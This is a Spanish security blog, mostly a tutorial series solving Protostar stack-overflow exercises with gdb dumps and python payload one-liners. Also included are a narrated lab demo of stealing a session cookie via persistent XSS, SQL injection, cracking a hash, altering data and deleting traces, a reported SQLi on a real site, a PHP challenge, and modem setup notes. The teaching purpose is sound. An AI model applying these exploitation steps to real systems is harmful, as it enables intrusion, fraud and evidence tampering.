Seguridad by S3ik0tr0n

Exploiting práctico desde 0 (parte 3)

2016-06-21T10:00:00.002+02:00

¡¡Muy buenas gentecilla!!

Pues nada por aquí ando para seguir esta serie de post's que no se a ciencia cierta cuando acabará jejeje, porque irá en cuestión de lo largo que me vayan quedando los post y lo que avancemos en cuestión de ejercicios de protostar de la página https://exploit-exercises.com

Pues bien, no quiero enrollarme mucho más, por lo que vamos a ponernos manos a la obra...

Stack4

Bien! Este ejercicio es muy parecido al resto, vamos a tratar de sobreescribir el EIP, Extender Index Pointer, o en castellano extensión de puntero al índice, lo que hace este maravilloso registro es guardar el offset, es decir la dirección en memoria, de la siguiente instrucción a llamar. Al sobreescribir este puntero, vamos a hacer que nuestro programa salte a esa posición al acabar la instrucción actual.

He de añadir que el registro EIP se encuentra inmediatamente después del registro EBP(al menos en infraestructuras de 32 bits. En 64 bits aun no estoy puesto, está en mi agenda no me peguéis xD). Esto es importante ¿porqué? porque en un buffer overflow vamos a machacar sí o sí el EBP para poder llegar a sobreescribir el EIP. Sabiendo esto, en el gdb encontrar los valores del EBP y el EIP es tan sencillo como ejecutar: x/2x $ebp teniendo el programa interrumpido en un breakpoint, el primer valor será el del EBP y el segundo el del EIP.

¡¿Pero de qué carajo me está hablando este chalao?! Bien si te has perdido con el párrafo anterior, no te preocupes, unas cuantas lineas más abajo donde detallo el ejercicio de manera práctica se ve mejor. Ah! y un breakpoint, por si no lo sabes, es un punto en el que el programa se detiene y le devuelve el control a el debuggeador de ese programa, pudiendo acceder en ese momento al estado exacto de las posiciones de memoria, ¡muy útil para este caso!

Después de estos parrafazos vamos a ver la práctica, y como siempre, la teoría parece muy farragosa pero en la práctica veremos que es practicamente una chorrada.

Adjunto el código fuente del programa:

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }

Paso1:
Conseguir la dirección de memoria de la instrucción win(), que es, digamoslo así, nuestra meta. Esto ya deberíais de ser capaces de hacerlo, por si acaso has hecho pellas o justo estabas en ese plácido momento de pensar en absolutamente nada mientras lees y no interiorizas lo leído, te dejo el comando:

gdb ./stack4
disass win

(gdb) disass win

Dump of assembler code for function win:

0x080483f4 <win+0>: push %ebp

0x080483f5 <win+1>: mov %esp,%ebp

0x080483f7 <win+3>: sub $0x18,%esp

0x080483fa <win+6>: movl $0x80484e0,(%esp)

0x08048401 <win+13>: call 0x804832c <puts@plt>

0x08048406 <win+18>: leave

0x08048407 <win+19>: ret

End of assembler dump.

Haciendo eso, obtenemos el offset de esa instrucción y lo guardaremos ya que nos hará falta para ponerlo en nuestro querido EIP. Os dejo remarcada en verde la dirección ;)

Paso 2:

Crear un fichero de input en el que introduciremos, de momento, 64 veces la letra A, esto no generará un buffer overflow pero nos permitirá ver en memoria donde empieza nuestro array y donde acaba. Se hace así:

python -c 'print "A"*64' > /tmp/payload

Insertar un breakpoint en el programa justo después de la instrucción que generaría el overflow, para poder ver el estado de la memoria y calcular la distancia desde el inicio de nuestro array hasta la dirección que queremos sobreescribir (recuerdo para despistados, el EIP), esto se hace de la siguiente manera:

gdb ./stack4
disass main

Obtenemos el siguiente código desensamblado:

(gdb) disass main

Dump of assembler code for function main:

0x08048408 <main+0>: push %ebp

0x08048409 <main+1>: mov %esp,%ebp

0x0804840b <main+3>: and $0xfffffff0,%esp

0x0804840e <main+6>: sub $0x50,%esp

0x08048411 <main+9>: lea 0x10(%esp),%eax

0x08048415 <main+13>: mov %eax,(%esp)

0x08048418 <main+16>: call 0x804830c <gets@plt>

0x0804841d <main+21>: leave

0x0804841e <main+22>: ret

End of assembler dump.

Dejo remarcado en verde y negrita la instrucción que generaría el overflow, como hemos dicho antes el breakpoint va justo despues, es decir el breakpoint debería ir en main+21 (marcado en rojo), pues vamos allá:

break *main+21

El programa nos devuelve:
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.

Bien, ya tenemos el ficherito de input, ya tenemos el gdb con el breakpoint del programa, así que sin salirse del gdb, escribimos lo siguiente:

r < /tmp/payload

El programa nos devuelve:
Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16

El siguiente comando nos mostrará la información del registro ebp y del siguiente (EIP):

x/2x $ebp

El programa nos devuelve:
0xbffffcb8: 0xbffffd38 0xb7eadc76

En azul el registro EBP y en verde el registro EIP, ahora que conocemos sus valores, podemos ver el estado del stack y buscar esos 2 valores para ver la distancia desde el comienzo de nuestro array (que deberá contener 0x41414141) hasta el registro EIP, para ello escribimos:

x/24x $esp

Y en mi caso devuelve lo siguiente:
(gdb) x/24x $esp
0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffca0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcb0: 0x08048400 0x00000000 0xbffffd38 0xb7eadc76

Si nos fijamos resaltado en rojo tenemos la dirección en la que empieza nuestro array, en azul el EBP y en verde el EIP. Por cada grupo que vemos son 4 caracteres, por lo tanto tenemos 16 grupos en los que hay 0x41414141 y 4 grupos con valores distintos, por lo tanto para sobrescribir por completo con A el registro EIP deberíamos escribir 20 grupos, o lo que es lo mismo 80 caracteres. Como los últimos 4 caracteres serán el valor que sobrescribiremos en el EIP y no queremos sobrescribirlo con 0x41414141 porque eso haría fallar al programa, escribiremos 76 caracteres y los 4 últimos corresponderán en la notación Little Endian (explicado en los artículos anteriores) a la dirección en la que empieza la función win() que si no recuerdas cual era, puedes ejecutar disass win y ver el valor (en mi caso 0x080483f4).

Pues bien, vamos a resolver el ejercicio, nos salimos de gdb, y creamos nuestro fichero de input con 76 letras A y la dirección 0x080483f4 en little endian al final, esto se hace así:

python -c 'print "A"*76+"\xf4\x83\x04\x08"' > /tmp/payloadFinal

Volvemos a ejecutar el gdb, y lanzamos la ejecución:

gdb ./stack4
r < /tmp/payloadFinal

Y el programa nos devuelve lo esperado:
Starting program: /opt/protostar/bin/stack4 < /tmp/payloadFinal
code flow successfully changed

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

En rojo está el mensaje que debía imprimir el programa para decir que hemos ganado, que es el printf que hay dentro de la función win()

NOTA FINAL: Un cero. Perdón perdón, no he podido resistirme al chiste fácil, no, ahora en serio, es posible que sigas todos estos pasos y no te funcione, puede ser y será con casi total seguridad por las direcciones de memoria, que en mi caso son las que aparecen en el artículo, pero no tienen por qué ser obligatoriamente las mismas para tí, revisa el post otra vez, y coge las direcciones de memoria que te aparezcan a tí (la importante es el inicio de la función win() ). Si aún así no te funciona, es porque estás ejecutando el programa fuera del debugger, al hacer esto, las direcciones de memoria cambiarán, ya que el programa no se ejecuta como hijo del gdb. Para localizar las direcciones de memoria se usa un coredump que se genera al realizarse el overflow del stack, pero eso... lo dejamos para el siguiente post!

Un saludo! espero no haber sido muy muy pesado, y que la explicación haya sido sencilla y amena!

Exploiting práctico desde 0 (parte 2)

2016-06-15T20:37:00.002+02:00

Ho Ho Hooola gentecilla, ¿qué tal? Yo aquí con ganas de seguir la serie de post que no sé cuánto me va a llevar, pero poco a poco iré completándola.

Hoy vamos a ver algún ejercicio más de Exploit exercises pero concretamente vamos a empezar por el número 1, ya que en el anterior post Exploiting práctico desde 0 (parte 1) el ejercicio que hicimos fué el 0.

Bien, vamos a ponernos manos a la obra, y ya que en el otro post ya expliqué bastantes cosas, en este vamos a ir un poco más a "tiro hecho".

Ejercicio Protostar Stack1

Si recordais en el anterior post "ganábamos" con solo cambiar el valor de la variable modified, daba igual el valor que le diéramos, con que fuese distinto de 0, era suficiente. Pues bien, este ejercicio nº 1 se basa en exáctamente lo mismo peeero la diferencia es que ahora ya no vale con que sea distinto de 0, ahora tiene que tener un valor concreto. El valor que vamos a necesitar en este caso es 0x61626364.

Aquí os dejo el código del programa:

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }

Como se puede ver el programa es muy parecido al anterior, el principal cambio que quiero que veáis es que en este caso el input al programa se le pasa por argumento y no por el sdtin (con la función gets()).

En este caso se usa la función strcpy(buffer, argv[1]); para copiar el contenido del primer argumento pasado al programa a el buffer que tenemos declarado. Como se puede apreciar no se comprueba la longitud del argumento y se copia en el buffer.

Para terminar vemos la comparación de la variable modified para, en caso de ser igual a 0x61626364 mostrar el tan aclamado mensaje de victoria o en su defecto decirnos que somos unos paquetes y que volvamos a intentarlo.

Y ahora diréis pero vamos a ver... para qué ponen este ejercicio si es prácticamente igual que el anterior... no tiene sentido blah, blah, blah. Pues bien, aunque no lo parezca este ejercicio tiene muchísimo sentido y es por lo siguiente:

La forma en la que se guardan los valores en la memoria no tiene porqué ser en el orden que tu crees, me explico, en este caso la arquitectura del procesador es un x86 little endian, esto que quiere decir, pues que los bytes con menor importancia van primero. Hace poco me pusieron un ejemplo que me gustó mucho, imaginad que los bytes son cajas de zapatos, si las apilas poniendo primero la 1, luego la 2, luego la 3 y por ultimo la 4, al desapilarlas el orden más fácil será coger la 4, luego la 3, luego la 2 y por último la 1.

No voy a utilizar el gdb en este caso, por que es muy muy similar al anterior.

Para conseguir pasar este nivel entonces, tendremos que hacer lo siguiente:

./stack1 `python -c 'print "A"*64+"\x64\x63\x62\x61"'`

Asumiendo eso sí que nos encontramos en la carpeta de los ejercicios, que recuerdo por si a alguien se le había olvidado que es /opt/protostar/bin/

Ejercicio Protostar Stack2

Este ejercicio es calcao al anterior, la única diferencia es la forma de dar el input al programa. En este caso será mediante variables de entorno. Es tan parecido que no voy a copiar ni el código fuente, aunque sí que voy a dejaros un enlace al ejercicio, por si queréis echarle un vistazo. https://exploit-exercises.com/protostar/stack2/

En este caso el programa toma los valores de la variable de entorno llamada GREENIE, y para completar el ejercicio tendremos que conseguir que la variable modified contenga 0x0d0a0d0a, para ello vamos a crear la variable de entorno que contenga el overflow y como siempre al final de esos 64 caracteres insertar el valor oportuno para que el if devuelva true.

Primero vamos a ver como se setea una variable de entorno en linux y cómo ver su contenido:

GREENIE="Hola Mundo"
export GREENIE
printenv GREENIE

Si ponemos esos comandos en el terminal, al introducir el tercero nos aparecerá el mensaje "Hola Mundo" sin las comillas, ya que estas sirven para delimitar el string de esa variable (si la variable va a contener espacios mejor rodearla por comillas, en caso contrario no es necesario).

Bueno ahora que ya sabemos crear la variable de entorno, vamos a darle el valor deseado para completar este nivel:

GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
export GREENIE
./stack2

Y con estos sencillos pasos conseguiremos el valor necesario para completar la prueba stack2.

Ejercicio Protostar Stack3

Bueno, bueno, bueno señores, que ya nos vamos metiendo en harina y ahora sí que empieza a ponerse algo más "complicado", aunque prácticamente es lo mismo.

Bien, este ejercicio sí que ya es distinto a los anteriores así que voy a explicar un poco el código:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Como podemos ver, en este caso el input se recoge por stdin con la función gets() como en el ejercicio 1. Gracias a cómo está escrito el programa, podemos ver al final de el que se comprueba si fp es distinto de nulo, se imprime un mensaje y se llama a la función fp, pero.. oye... si a fp le hemos dado el valor de 0... ¿como vamos a ejecutar una función que está en la posición 0?, pues por eso el if no da true, porque es como si fp devolviese false.

Es algo confuso, pero bueno, tiene que ver con los punteros en C y eso es otro tema que daría muuucho que hablar.

Si conseguimos asignarle a la "variable" fp la dirección en la que está la función win(), el if lo tomará como true y se ejecutará el contenido que hay el printf y la funcion fp() qué al ser un puntero a la dirección en la que empieza la función win, realmente se estará ejecutando la función win() (o la que hubiéramos asignado OJO!).

Cómo podemos conseguir esto, pues facil, ejecutamos este comando:

gdb ./stack3
disass win

(gdb) disass win

Dump of assembler code for function win:

0x08048424 <win+0>: push %ebp

0x08048425 <win+1>: mov %esp,%ebp

0x08048427 <win+3>: sub $0x18,%esp

0x0804842a <win+6>: movl $0x8048540,(%esp)

0x08048431 <win+13>: call 0x8048360 <puts@plt>

0x08048436 <win+18>: leave

0x08048437 <win+19>: ret

End of assembler dump.

Cómo podemos observar al desensamblar la función win, esta función empieza en la dirección de memoria que os he resaltado en verde (0x08048424) en mi caso es esa dirección y en el vuestro debería de serlo también, pero por si acaso ejecutar el comando y anotad la dirección que os aparezca pues es muy importante.

Bueno como ya sabemos la dirección, vamos a crear nuestro consiguiente exploit:

echo `python -c 'print "A"*64+"\x24\x84\x04\x08"'` | ./stack3

El output del programa será algo parecido a esto:

calling function pointer, jumping to 0x08048424

code flow successfully changed

Y con esto ya habríamos superado el tercer ejercicio de esta página.

Espero que os haya gustado, dejo para el siguiente post el ejercicio 4 y el 5, que estos ya son más divertidos tratan de sobreescribir el registro eip que se encuentra justo después del ebp. Pero de eso ya hablaré en el siguiente post, que tiene su cosa explicar el tema de esos dos registros.

Un saludete y hasta la próxima!

Exploiting práctico desde 0 (Parte 1)

2016-06-13T23:37:00.000+02:00

Muy buenas gentecilla! ¿Qué tal? Espero que bien, hoy voy a abrir una nueva serie de entradas que llevaba tiempo queriendo hacer para retomar el tema del exploiting, que me parece apasionante. Y así mientras os lo explico pues repaso y por qué no también aprendo.

Bueno voy a intentar hacer el artículo lo más sencillo posible, para que cualquier persona pueda entenderlo, así que lo mismo me enrollo más de la cuenta en algunas explicaciones, pero oye, esto no es un vídeo de youtube, el contenido está cargado enterito, haces scroll y te saltas mis paranoias, jejeje.

Antes de nada os quiero dejar una web que es bastante famosa, para que rebusquéis información y tutoriales, eso sí, en perfecto Ingles. http://www.corelan.be

Los ejercicios que voy a realizar se encuentran en la web https://exploit-exercises.com/protostar/ en la sección Downloads de esa web está la máquina virtual que contiene los ejercicios, la ISO a descargar es la Protostar.

Estos ejercicios están basados en una arquitectura x86 (32 bits de toa la via de dioh) y la máquina virtual tiene la peculiaridad de tener desactivado tanto el ASLR (Address Space Layout Randomization, aquí os dejo algo de literatura) como el NX (Non-Executable Memory). Estas dos joyas son unos de los varios sistemas de protección que tienen los Sistemas Operativos para evitar la explotación de su pila. Haciendo un resumen muy resumido, el ASLR se encarga de aleatorizar la posición en memoria de los programas (exceptuando las librerías del sistema y gracias a dios), y el NX o DEP en güindous se encarga de evitar que se ejecute código desde el Stack (un espacio en memoria reservado para las variables no para el código ejecutable).

Madre del amor hermoso, vaya parrafazo anterior, bueno, para los que sigáis vivos y despiertos continuo...

Bien para preparar el entorno, yo he seguido estos pasos:

Tener Instalado VirtualBox o VMware
Descargarme la ISO
Crear una máquina virtual (en mi caso en VirtualBox) y poner el .iso en el cd-rom para que se arranque en live-cd
Poner la máquina virtual en modo bridge (o cualquier modo que te permita hacer ping desde tu host y obtener respuesta)
Descargarme el Putty (para conectarme por SSH a la máquina virtual)
Entrar por SSH a la máquina virtual
Loguearme con usuario:user y password:user

Hay algunos pasos, como el de crear las máquinas virtuales y usar el putty que no voy a explicarlos, al menos por ahora, ;)

NOTA: A la máquina virtual entro por SSH porque al ser un entorno live muy ligero no he conseguido cargar el teclado en español en la máquina virtual ya que no tiene ciertas dependencias y era un lío. Si tú estás cómodo con el teclado en ingles, puedes saltarte la parte del putty y entrar por ssh.

Todos los ejercicios se encuentran en la carpeta /opt/protostar/bin/

Ya tenemos el entorno preparado, una vez que lleguemos a este punto ya empieza la "chicha".

Bien hoy toca el ejercicio Stack0 es evidentemente el más sencillo pero va a sentar las bases para el resto de ejercicios.

En la web nos dan el código fuente, así que esto nos pone las cosas más fáciles, echémosle un ojo:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Bueno para los que habéis programado alguna vez os sonará bastante, es un código C muy simple, lo resumo: se crea una variable de tipo entero llamada modified, pero no se le da valor, se crea un array de chars con 64 de longitud, se le asigna a la variable modified el valor 0, se lee de teclado y se introduce lo leído en la variable buffer, si la variable modified es distinta de 0 hemos ganado, sino te dice que te peines.

Como el programa no te da la opción de modificar la variable modified, pues toca explotar el buffer overflow que existe en este programa (ya que la función gets no comprueba la cantidad de caracteres a meter en el array) para sobrescribir en memoria dicha variable.

Vamos a desensamblar la función main para ver el código ASM de este sencillo programa:

[Desde la carpeta /opt/protostar/bin/] Ejecutamos:

gdb stack0
disass main

Y obtenemos esto:

(gdb) disass main

Dump of assembler code for function main:

0x080483f4 <main+0>: push %ebp

0x080483f5 <main+1>: mov %esp,%ebp

0x080483f7 <main+3>: and $0xfffffff0,%esp

0x080483fa <main+6>: sub $0x60,%esp

0x080483fd <main+9>: movl $0x0,0x5c(%esp) <---- variable modified

0x08048405 <main+17>: lea 0x1c(%esp),%eax <--- inicio del array buffer

0x08048409 <main+21>: mov %eax,(%esp)

0x0804840c <main+24>: call 0x804830c <gets@plt>

0x08048411 <main+29>: mov 0x5c(%esp),%eax

0x08048415 <main+33>: test %eax,%eax <--- Se testea la variable local

0x08048417 <main+35>: je 0x8048427 <main+51> <--- Se salta a esa línea si la variable es ==0, que en principio siempre lo va a ser

0x08048419 <main+37>: movl $0x8048500,(%esp) <--- Aquí es donde queremos llegar, aquí está el texto de la victoria

0x08048420 <main+44>: call 0x804832c <puts@plt>

0x08048425 <main+49>: jmp 0x8048433 <main+63> <--- Se salta a esta posición para evitar imprimir el Try Again

0x08048427 <main+51>: movl $0x8048529,(%esp) <--- Aquí se está el texto Try Again

0x0804842e <main+58>: call 0x804832c <puts@plt>

0x08048433 <main+63>: leave

0x08048434 <main+64>: ret

End of assembler dump.

Bien ya sabemos que la variable modified está en 0x5c posiciones sumadas al ESP y el array de chars Buffer está 0x1c posiciones sumadas al ESP. Por lo tanto sabemos cuántas posiciones más hacia abajo está la variable modified, con una sencilla resta hexadecimal 0x5c-0x1c sabremos cuántos caracteres tenemos que meter en el buffer para que "pete" y sobrescriba la variable modified.

Para hacer esta suma, (desde Windows) abrimos la calculadora, la ponemos en modo programador, cambiamos a hexadecimal y la hacemos, 0x5c = 92 en decimal, y 0x1c es 28 en decimal si hacemos la resta quedan 64 posiciones, que es "casualmente" el tamaño del array en este caso.

Ahora bien, si introducimos 64 caracteres no se va a producir ningún Buffer Overflow, puesto que ese es el tamaño original del array. Pues bien, introducimos 68 caracteres (64 + 4) y veremos cómo hemos sobrescrito esta variable y hemos conseguido ver el texto "You have changed the 'modified' variable" con lo que habremos completado el primer ejercicio de todos, el Stack0.

Bien te estarás preguntando que porqué esa cantidad de 64 + 4, ¿Por qué 4 y no 7 o 3? Pues bien todos los sistemas operativos basados en 32 bits (x86) están alineados de 4 bytes en 4 bytes, y como un char ocupa un byte, pues nos hacen falta 4 chars para dejarlo todo bien "alineado".

Para ver el resultado en vuestra casa y no volverte loco contando A's introducidas en el programa, esto se simplifica así:

cat `python -c 'print "A"*68'` | ./stack0

Esto lo que hace es enviarle al programa stack0, 68 A's generadas por ese pequeño código en Python el cual sería 'print "A"*68'.

Un saludo, espero que os haya gustado, no sé si ha quedado muy largo al final, pero yo al menos me he desahogado, jejeje. Espero no tardar mucho en hacer el 2º post explicando el 2º y puede que el 3º para que no quede muy escueto ya que en este post he dedicado bastante espacio a explicar el "escenario".

Ponencias IES Virgen de la Paloma

2016-03-15T13:00:00.001+01:00

Muy buenas!! hacía una eternidad que no escribía nada por aquí, y es que mi vida ha estado bastante liada desde el último post que escribí. No paro vaya.

Ayer Lunes (14/03/2016) dí una ponencia en el IES Virgen de la Paloma, y por motivos del directo la Demo que tenía preparada y que me había currado no pudo salir adelante, por problemas técnicos con el wifi, por el tiempo que se me echó un poco encima, vamos un poco de todo vaya jejeje, el famoso efecto demo vivido en primera persona.

Como lo prometido es deuda por aquí os dejo las capturas de pantalla de la demo.

Un saludete y gracias!!

El background de la demo es el siguiente: Me ha empezado a fallar el motor de mi coche, comprado en un concesionario de segunda mano que ofrece garantía por un año, me pongo en contacto con dicho concesionario y tras verificarlo en su web confirmo lo peor! El coche está fuera de garantía por tan solo 2 días!! O....

Eso es lo que pone ahora mismo en la web...

Nos logueamos con el usuario de nuestro vehículo

Vemos que efectivamente está fuera de garantía

Compruebo la ip de mi equipo y pongo a la escucha un pequeño script de php que guardará en una bbdd lo que se le envíe por GET

Después de comprobar que la web es vulnerable a un XSS-Persistente, nos disponemos a inyectarle una pequeña instrucción que se encargará de enviarnos su cookie de sesión.

Por otro lado, el Encargado de la empresa, se loguea, recibe una notificación de que tiene un mensaje de un cliente, lo lee... todo normal, no saltan las alarmas...

Por otro lado el atacante, recibe la sesión (la seleccionada es la última sesión)...

Abre el plugin de firefox "Cookies Manager" para editar la cookie de sesión de esa ip (o dominio si se hubiera usado dominio)

Y como por arte de magia ale, ya estamos identificados como el Encargado que leyó nuestro mensaje.

Navegamos un poco por la web, y llegamos a la vista de un taller en particular, en el cual vemos algo curioso en la barra de navegación, se puede ver el id de ese taller... ¿qué pasaría si....?

Efectivamente, si agregamos una comilla simple al parámetro Id, la bbdd casca y para nuestra sorpresa nos muestra que tiene un error y nos enseña la sentencia SQL fallida!! xD Vamos más fácil no nos lo pueden poner, vamos a conseguir una sentencia SELECT válida y a jugar :D

Primero mostramos números por pantalla, para saber en qué posición tenemos que poner los datos que queremos ver, para que se muestren...

Ahora le pedimos que nos diga como se llama la base de datos de la aplicación

Vale, ya sabemos que la base de datos se llama "garantias". Ahora vamos a extraer los nombres de todas las tablas, la que nos interesa es la de usuarios y de esa los nombres de sus columnas, para conseguir la contraseña de Administrador y así poder editar lo datos del coche, ya que con el encargado no nos permite esa acción.

(Nombres de las Tablas)

(Nombre de las columnas de la tabla Usuarios)

Y ahora generamos la consulta válida para que nos muestre el nombre de usuario con nombre parecido a "%dmin% que en principio debería de ser el A"dmin"istrador, aunque en este caso es el nombre exacto es AdministradorGeneral.

Ahora nos vamos a google buscamos por "md5 crack" para ver si la password está ya crackeada en alguno de los servicios online que disponemos.

Y efectivamente, vemos un resultado, la contraseña es "Admin12", esta web lo tiene todo! XSS, SQLi, Contraseñas sin salt, muestran los errores de la base de datos...

En fin... pues nada ya que tenemos todos los datos, vamos a entrar hasta la cocina, servirnos un café, limpiarlo todo y para casa ;)

Eliminamos la nota que le enviamos con ese código XSS para que no quede rastro demasiado evidente...

Y como podemos ver en la captura, nuestro coche vuelve a estar en Garantía... ahora esperar y volver a ponernos en contacto para que nos lo arreglen jijijiji

Bueno, lo prometido era deuda jejeje, y como se dice en mi familia Un Romero siempre tiene deudas... digo... un Lánister siempre paga sus deudas xD

Un saludete, espero que os haya gustado, si hay alguna duda ya sabéis como poneos en contacto conmigo un abrazo!!

Un reto para mentes abiertas!

2013-10-29T11:28:00.000+01:00

Muy buenas gentecilla!

Estoy por aquí de vuelta, después de unas jornadas GSickMinds super interesantes, mi "espiritu juanker" despierta de nuevo y que mejor forma que proponeos un retillo.

Este reto se lo propuse a un compañero de mi FP con la premisa de que si lo resolvía le enseñaría lo poco que sé, tras un día intentándolo se ha rendido y me ha pedido solución por el bien de su salud (por lo visto se ha pasado toda la noche sin dormir intentándolo xD)

Para resolver este reto vais a necesitar (aunque no necesariamente):

Servidor Apache + PHP
Mente abierta

Digo que no es necesario por que si sabes la respuesta no te hace falta hacer pruebas, pero lo mejor es montarte un servidor que pueda ejecutar código php e intentes solucionar el reto.

Para pasar la prueba os dejo el código fuente, simplemente tenéis que copiarlo a un fichero .php y ejecutarlo de la siguiente manera: nombrefichero.php?a=1&b=1

La prueba consiste en sacar de alguna manera (sin modificar nada del fichero evidentemente) la frase: You Rox Baby!

<?php

if(isset($_GET['a']) && isset($_GET['b'])){

if(gettype($_GET['a']) === gettype($_GET['b'])){

echo "paco";

}

else{

echo "You Rox Baby!";

}

else{

echo "QUE NO COÑO!";

}

Es un reto bastante sencillo, espero las respuestas por DM de twitter, un saludo!

Muy buenas gentecilla!

2013-10-17T08:40:00.001+02:00

Muy buenas! hace tiempo que no escribo pero, para los que me leéis, y para lo poco que tengo que decir pues casi que mejor no?!

Prefiero no decir nada si no es interesante, así no lleno el blog de "trash".

El caso que hoy escribo porque recientemente encontré una vulnerabilidad en una web en la que se está registrando todo el mundo, www.fiestadelcine.com la cual tiene una iniciativa que me gusta, que es "abaratar" aunque sea por 3 días el precio de ese lujo que se ha convertido a dia de hoy el ir al cine.

Pues bien, llegó a mi dicha pagina por un email interno del curro, y rápidamente me propuse a mirar a ver que tal estaba hecha. Casi tan rápido como lo miré, me fijé que había el típico id=123 el cual es mega susceptible de recibir una SQLi. Mas rápido que la luz me dispuse a probar el típico and 1=0, y gualá! era vulnerable.

Ahí ya sabia que esta pagina era vulnerable a un Blind-SQLi, y entonces me puse a mirar si pasaba lo mismo con una SQLi normal y corriente. Probé con lo siguiente id=0 union select 1,2,3,4,5 y como efectivamente estaba casi seguro obtuve un 2, 4, 5 escritos en la web.

Igual de rapido que probé estas cosas, les escribí por twitter y para mi sorpresa, contestaron rapidísimo! No es la primera vulnerabilidad que reporto a una web, y sin embargo nunca me habían contestado tan rápido.

Les vi muy concienciados con la LOPD y lo solucionaron bastante rápido. Me agregaron al twitter, me mencionaron en alguno de sus tweet y ya hablamos por correo, donde les indiqué como solucionar el problemilla.

Como muestra de gratitud me han dado unas entradas para el preestreno de Capitan Phillips para hoy :D

Así que ya os contaré que tal. Me alegro que la gente esté tan concienciada, :) errores los tenemos todos, pero si se tratan de esa manera tan profesional da gusto!

Un saludete!!!

3G Huawei E173 Backtrack 5

2013-02-18T09:17:00.002+01:00

Antes de nada he de decir que este articulo lo he sacado de:
http://raagpc.blogspot.com.es/2011/07/odisea-3g-huawei-e173.html

Lo voy a copiar aqui, por que siempre que instalo linux de nuevo tengo una odisea, y si lo pongo aqui, siempre lo encontrare. Muchas gracias a raagpc por su excelente articulo, os recomiendo visitar su blog es fenomenal!

[Copio]

Pues resulta que compré un modem 3G Huawei E173 de los nuevos que está ofreciendo Telefónica México, el reto comenzó cuando al conectarlo a mi máquina con Arch Linux no lo reconoció automáticamente (ya había probado los otros modelos de modem y sin problemas) así que en lugar de ponerme a llorar, me puse investigar como de costumbre.

En los foros encontré que agregando una par de lineas a la configuración de usb_modeswitch el huawei E173 funcionaba correctamente (Aquí un ejemplo) , sin embargo, lo primero que noté es que el id del producto de aquellos que ya lo habían hecho funcionar era distinto:

ID 12d1:1436 Huawei Technologies Co., Ltd. (En el caso del foro)

ID 12d1:1c24 Huawei Technologies Co., Ltd. (En mi caso)

Supuse que esto sería solo diferencia por el país, y decidí seguir el ejemplo, cambiando los idProduct por 1c24.

También noté que el idProduct después de intentar hacer el switcheo cambiaba a "1c23" y no a "1001,1406,140b,140c,1412,141b,1433,14ac" como se muestra en el foro, total que hice los cambios pertinentes y después de varios intentos logré que usb_modeswitch funcionara, pero seguía sin ser reconocido como modem, aunque este fue el primer paso.
A continuación pongo lo que se debe realizar para que usb_modeswitch funcione de este modo:

1. usb_modeswitch

Creamos un archivo nuevo en donde definimos las configuraciones del modem, en mi caso lo puse en/etc/usb_modeswitch.d/E173 y agregamos el siguiente contenido (esto se realiza como root):

DefaultVendor= 0x12d1
DefaultProduct=0x1c24

TargetVendor= 0x12d1
TargetProduct= 0x1c23

CheckSuccess=5

MessageContent="55534243000000000000000000000011060000000000000000000000000000"

Como ya dijimos anteriormente DefaultVendor y DefaultProduct son los id del fabricante y del producto respectivamente.

TargetVendor y TargetProduct son los id que tendrá después de hacer el switch.

CheckSuccess es la cantidad de veces con retardo de 1 segundo que checará que el
switch se haya realizado correctamente.

MessageContent es una cadena hexadecimal que le indica el modo a cambiar al dispositivo (Este último lo tuve que sacar preguntando en un foro).

Ahora se debe agregar una regla de udev para que al momento de conectar modem haga el switch.

Abrimos (como root) el archivo /lib/udev/rules.d/40-usb_modeswitch.rules y agregamos la siguiente regla (casi al final justo antes de la linea 'LABEL="modeswitch_rules_end"')

ATTRS{idVendor}=="12d1", ATTRS{idProduct}=="1c24", RUN+="/usr/sbin/usb_modeswitch -c /etc/usb_modeswitch.d/E173"

Esto le dice a udev que cuando detecte que se conecte un dispositivo con el product y vendor especificados, ejecute el comando que está en RUN (/usr/sbin/usb_modeswitch -c /etc/usb_modeswitch.d/E173), es decir usb_modeswitch con la configuración que creamos anteriormente.

En caso de algunas distros como debian o ubuntu hay que reiniciar udev para que tome el cambio:

sudo /etc/init.d/udev restart

En caso de Arch el camio es automático.

Hasta ahí hicimos un switcheo de modo, pero no está reconocido como modem, continué con mi búsqueda y encontré un driver que al parecer ya es algo antiguo, de igual modo decidí descargarlo y probarlo, pero al momento de ejecutar el install pude ver que descomprimía el código fuente (gracias a tux venía el código) del driver y lo compilaba, pero no era tan fácil, enviaba un error al momento de compilar diciendo que no encontraba la función ioctl :( así que de nuevo a google, descubrí que al parecer la función ioctl fue deprecada a partir de la versión 2.6.27 del kernel lo cual era un problema, pero esta función fue reemplazada por unlocked_ioctl (a modificar el código), desafortunadamente el script de instalación descomprimia el código solo al momento de instalar para compilar, así que me di cuenta que no podría hacer la modificación directamente, (bendito comando sed) opté por modificar el script de instalación agregando un comando justo después de descomprimir que cambiara la función por la correcta, esas líneas quedaron de este modo:

